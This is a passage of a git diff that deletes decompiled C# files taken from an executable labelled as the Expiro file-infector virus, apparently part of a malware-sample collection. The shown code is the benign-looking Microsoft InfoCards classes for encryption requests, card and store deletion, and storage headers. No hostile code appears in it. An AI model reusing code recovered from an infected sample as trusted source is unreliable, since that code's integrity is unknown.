this.ThrowIfDisposed(); - - protected internal virtual void OnClose() => this.ThrowIfDisposed(); - - protected internal virtual void OnClear() => this.ThrowIfDisposed(); - - protected internal virtual void OnDispose() - { - } - - protected internal abstract void WriteRow(DataRow row); - - protected internal abstract void RemoveObject(int id); - - protected internal abstract DataRow ReadRow(int localId, QueryDetails details); - - protected internal abstract bool SingleMatch(QueryParameter match, LocalIdCollection localIds); - - void IDisposable.Dispose() - { - this.OnDispose(); - this.m_isDisposed = true; - } - - protected internal void ThrowIfWriteLockNotHeld() - { - if (!this.m_lock.IsWriterLockHeld) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDataSourceWriteLockNotHeld"))); - } - - protected internal void ThrowIfWriteLockHeld() - { - if (this.m_lock.IsWriterLockHeld) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreProcessingTransaction"))); - } - - protected internal void ThrowIfNotLoaded() - { - if (!this.m_isLoaded) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (DataSource))); - } - - protected internal void ThrowIfLoaded() - { - if (this.m_isLoaded) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIsAlreadyLoaded"))); - } - - protected internal void ThrowIfDisposed() - { - if (this.m_isDisposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (DataSource))); - } - - public static QueryParameter CreateDeleteStoreTypeQuery() - { - QueryParameter deleteStoreTypeQuery = new QueryParameter("ix_objecttype"); - foreach (int num in Enum.GetValues(typeof (StorableObjectType))) - { - if (num != 0) - deleteStoreTypeQuery.AddMatch((object) num); - } - return deleteStoreTypeQuery; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DecryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DecryptRequest.cs deleted file mode 100644 index 0d5dac9e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DecryptRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DecryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class DecryptRequest : ClientRequest - { - private int m_cryptoSession; - private bool m_useOAEP; - private byte[] m_encrypted; - private byte[] m_decrypted; - - public DecryptRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_useOAEP = false; - this.m_encrypted = (byte[]) null; - this.m_decrypted = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_useOAEP = binaryReader.ReadBoolean(); - int count = binaryReader.ReadInt32(); - this.m_encrypted = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_encrypted == null || 0 == this.m_encrypted.Length, "encrypted"); - } - - protected override void OnProcess() => this.m_decrypted = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).Decrypt(this.m_useOAEP, this.m_encrypted); - - protected override void OnMarshalOutArgs() - { - try - { - Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_decrypted); - } - finally - { - Array.Clear((Array) this.m_decrypted, 0, this.m_decrypted.Length); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DeleteCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DeleteCardRequest.cs deleted file mode 100644 index 22216bfd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DeleteCardRequest.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DeleteCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class DeleteCardRequest : UIAgentRequest - { - private Uri m_cardId; - - public DeleteCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_cardId = Utility.DeserializeUri((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - })); - if (singleRow != null) - { - byte[] dataField = singleRow.GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - string name = new InfoCard((Stream) memoryStream).Name; - } - } - finally - { - connection.Delete(singleRow); - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - ICollection collection = (ICollection) connection.Query(QueryDetails.Identifiers, new List() - { - new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - }) - }.ToArray()); - if (collection != null && collection.Count > 0) - { - foreach (DataRow row in (IEnumerable) collection) - connection.Delete(row); - } - connection.CommitTransaction(); - AuditLog.AuditCardDeletion(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DeleteStoreRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DeleteStoreRequest.cs deleted file mode 100644 index 80b9f22e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DeleteStoreRequest.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DeleteStoreRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Collections; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DeleteStoreRequest : UIAgentRequest - { - public DeleteStoreRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parentRequest) - : base(rpcHandle, inArgs, outArgs, parentRequest) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - QueryParameter deleteStoreTypeQuery = DataSource.CreateDeleteStoreTypeQuery(); - ICollection collection = (ICollection) connection.Query(QueryDetails.Identifiers, connection.LocalDataSource, deleteStoreTypeQuery); - if (collection != null && collection.Count > 0) - { - foreach (DataRow row in (IEnumerable) collection) - connection.Delete(row); - } - connection.CommitTransaction(); - AuditLog.AuditStoreDeletion(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayClaim.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayClaim.cs deleted file mode 100644 index a8edd808..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayClaim.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayClaim -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DisplayClaim - { - private string m_name; - private List m_value; - private string m_description; - private string m_uri; - - public string Name - { - get => this.m_name; - set => this.m_name = value; - } - - public string Id => this.m_uri; - - public DisplayClaim(BinaryReader reader) => this.Deserialize(reader); - - public DisplayClaim(string name, List value, string description, string uri) - { - this.m_name = name; - this.m_value = value; - this.m_description = description; - this.m_uri = uri; - } - - public void Serialize(BinaryWriter writer) - { - Utility.SerializeString(writer, this.m_name); - writer.Write((uint) this.m_value.Count); - foreach (string str in this.m_value) - Utility.SerializeString(writer, str); - Utility.SerializeString(writer, this.m_description); - Utility.SerializeString(writer, this.m_uri); - } - - public void Deserialize(BinaryReader reader) - { - this.m_name = Utility.DeserializeString(reader); - uint num = reader.ReadUInt32(); - for (uint index = 0; index < num; ++index) - this.m_value.Add(Utility.DeserializeString(reader)); - this.m_description = Utility.DeserializeString(reader); - this.m_uri = Utility.DeserializeString(reader); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayClaimType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayClaimType.cs deleted file mode 100644 index dc9dd88c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayClaimType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayClaimType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -namespace Microsoft.InfoCards -{ - internal enum DisplayClaimType : byte - { - NoDisplayToken, - DisplayClaimString, - DisplayClaimList, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayToken.cs deleted file mode 100644 index a7ec1d0a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/DisplayToken.cs +++ /dev/null @@ -1,85 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DisplayToken - { - private string m_displayString; - private string m_mimeType; - private List m_displayList; - private DisplayClaimType m_displayType; - - public IEnumerable ClaimList => (IEnumerable) this.m_displayList; - - public DisplayToken() => this.m_displayType = DisplayClaimType.NoDisplayToken; - - public DisplayToken(string displayString, string mimeType) - { - this.m_displayString = displayString; - this.m_mimeType = mimeType; - this.m_displayType = DisplayClaimType.DisplayClaimString; - } - - public DisplayToken(List claimList) - { - this.m_displayList = claimList; - this.m_displayType = DisplayClaimType.DisplayClaimList; - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((byte) this.m_displayType); - switch (this.m_displayType) - { - case DisplayClaimType.NoDisplayToken: - break; - case DisplayClaimType.DisplayClaimString: - Utility.SerializeString(writer, this.m_displayString); - Utility.SerializeString(writer, this.m_mimeType); - break; - case DisplayClaimType.DisplayClaimList: - writer.Write((uint) this.m_displayList.Count); - using (List.Enumerator enumerator = this.m_displayList.GetEnumerator()) - { - while (enumerator.MoveNext()) - enumerator.Current.Serialize(writer); - break; - } - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "ClaimType"); - break; - } - } - - public void Deserialize(BinaryReader reader) - { - this.m_displayType = (DisplayClaimType) reader.ReadByte(); - switch (this.m_displayType) - { - case DisplayClaimType.NoDisplayToken: - break; - case DisplayClaimType.DisplayClaimString: - this.m_displayString = Utility.DeserializeString(reader); - this.m_mimeType = Utility.DeserializeString(reader); - break; - case DisplayClaimType.DisplayClaimList: - this.m_displayList.Clear(); - uint num = reader.ReadUInt32(); - for (uint index = 0; index < num; ++index) - this.m_displayList.Add(new DisplayClaim(reader)); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("InvalidDisplayClaimType"))); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptRequest.cs deleted file mode 100644 index 8aba68e5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class EncryptRequest : ClientRequest - { - private int m_cryptoSession; - private bool m_useOAEP; - private byte[] m_cleartext; - private byte[] m_encrypted; - - public EncryptRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_useOAEP = false; - this.m_cleartext = (byte[]) null; - this.m_encrypted = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_useOAEP = binaryReader.ReadBoolean(); - int count = binaryReader.ReadInt32(); - this.m_cleartext = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_cleartext == null || 0 == this.m_cleartext.Length, "clearText"); - } - - protected override void OnProcess() - { - try - { - this.m_encrypted = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).Encrypt(this.m_useOAEP, this.m_cleartext); - } - finally - { - Array.Clear((Array) this.m_cleartext, 0, this.m_cleartext.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_encrypted); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedData.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedData.cs deleted file mode 100644 index f1e14162..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedData.cs +++ /dev/null @@ -1,130 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedData -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class EncryptedData - { - private string m_type; - private EncryptedData.EncryptionMethodElement m_encryptionMethod; - private EncryptedData.CipherData m_cipherData; - private SecurityKeyIdentifier m_keyIdentifier; - private SecurityTokenSerializer m_tokenSerializer; - - public EncryptedData() - { - this.m_cipherData = new EncryptedData.CipherData(); - this.m_encryptionMethod = new EncryptedData.EncryptionMethodElement(); - } - - public string EncryptionMethod - { - set => this.m_encryptionMethod.algorithm = value; - } - - public SecurityKeyIdentifier KeyIdentifier - { - set => this.m_keyIdentifier = value; - } - - public string Type - { - set => this.m_type = value; - } - - public SecurityTokenSerializer TokenSerializer - { - set => this.m_tokenSerializer = value; - } - - public void SetUpEncryption( - SymmetricAlgorithm algorithm, - byte[] buffer, - int offset, - int length) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == algorithm, nameof (algorithm)); - byte[] iv; - byte[] cipherText; - this.GenerateIVAndEncrypt(algorithm, buffer, offset, length, out iv, out cipherText); - this.m_cipherData.SetCipherValueFragments(iv, cipherText); - } - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", nameof (EncryptedData), "http://www.w3.org/2001/04/xmlenc#"); - if (!string.IsNullOrEmpty(this.m_type)) - writer.WriteAttributeString("Type", (string) null, this.m_type); - if (!string.IsNullOrEmpty(this.m_encryptionMethod.algorithm)) - this.m_encryptionMethod.WriteTo(writer); - if (this.m_keyIdentifier != null) - this.m_tokenSerializer.WriteKeyIdentifier((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter(writer), this.m_keyIdentifier); - this.m_cipherData.WriteTo(writer); - writer.WriteEndElement(); - } - - private void GenerateIVAndEncrypt( - SymmetricAlgorithm algorithm, - byte[] plainText, - int offset, - int length, - out byte[] iv, - out byte[] cipherText) - { - RandomNumberGenerator randomNumberGenerator = (RandomNumberGenerator) new RNGCryptoServiceProvider(); - int length1 = algorithm.BlockSize / 8; - iv = new byte[length1]; - randomNumberGenerator.GetBytes(iv); - algorithm.Padding = PaddingMode.PKCS7; - algorithm.Mode = CipherMode.CBC; - using (ICryptoTransform encryptor = algorithm.CreateEncryptor(algorithm.Key, iv)) - cipherText = encryptor.TransformFinalBlock(plainText, offset, length); - } - - private struct CipherData - { - private byte[] m_iv; - private byte[] m_cipherText; - - public byte[] CipherValue => this.m_cipherText; - - public void SetCipherValueFragments(byte[] iv, byte[] cipherText) - { - this.m_iv = iv; - this.m_cipherText = cipherText; - } - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", nameof (CipherData), "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("enc", "CipherValue", "http://www.w3.org/2001/04/xmlenc#"); - if (this.m_iv != null) - writer.WriteBase64(this.m_iv, 0, this.m_iv.Length); - writer.WriteBase64(this.m_cipherText, 0, this.m_cipherText.Length); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - } - - private struct EncryptionMethodElement - { - internal string algorithm; - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", "EncryptionMethod", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteAttributeString("Algorithm", (string) null, this.algorithm); - writer.WriteEndElement(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedFileStoreHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedFileStoreHeader.cs deleted file mode 100644 index 7a01aec3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedFileStoreHeader.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedFileStoreHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 608)] - internal struct EncryptedFileStoreHeader - { - public const int StructSize = 608; - public const int VersionOffset = 0; - public const int SizeOffset = 4; - public const int KeyBlockOffset = 8; - public const int IndexOffset = 600; - public const int DataSizeOffset = 604; - [MarshalAs(UnmanagedType.U4)] - [FieldOffset(0)] - public uint Version; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(4)] - public int Size; - [MarshalAs(UnmanagedType.Struct)] - [FieldOffset(8)] - public KeyBlock KeyBlock; - [MarshalAs(UnmanagedType.Struct)] - [FieldOffset(8)] - public KeyBlockV2 KeyBlockV2; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(600)] - public int IndexSize; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(604)] - public int DataSize; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedObjectHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedObjectHeader.cs deleted file mode 100644 index db32a7ec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptedObjectHeader.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedObjectHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 72)] - internal struct EncryptedObjectHeader - { - public const int StructSize = 72; - public const int IVBlockSize = 32; - public const int IVOffset = 0; - public const int GlobalIdOffset = 32; - public const int LastChangeOffset = 48; - public const int DataSizeOffset = 56; - public const int ObjectTypeOffset = 60; - public const int LocalIdOffset = 64; - public const int TailPaddingOffset = 68; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 32)] - [FieldOffset(0)] - public byte IV; - [MarshalAs(UnmanagedType.Struct)] - [FieldOffset(32)] - public GlobalId GlobalId; - [MarshalAs(UnmanagedType.I8)] - [FieldOffset(48)] - public long LastChange; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(56)] - public int DataSize; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(60)] - public int ObjectType; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(64)] - public int LocalId; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(68)] - private int TailPadding; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptionUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptionUtility.cs deleted file mode 100644 index 9f8ce31d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/EncryptionUtility.cs +++ /dev/null @@ -1,116 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptionUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.IO; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.ServiceModel.Security; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal sealed class EncryptionUtility - { - private EncryptionUtility() - { - } - - public static XmlElement EncryptSecurityToken( - SecurityToken tokenToBeEncrypted, - X509Certificate2 cert, - string encryptingAlgorithm, - string asymmetricKeyWrapAlgorithm, - ProtocolProfile profile) - { - MemoryStream streamToBeEncrypted = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new 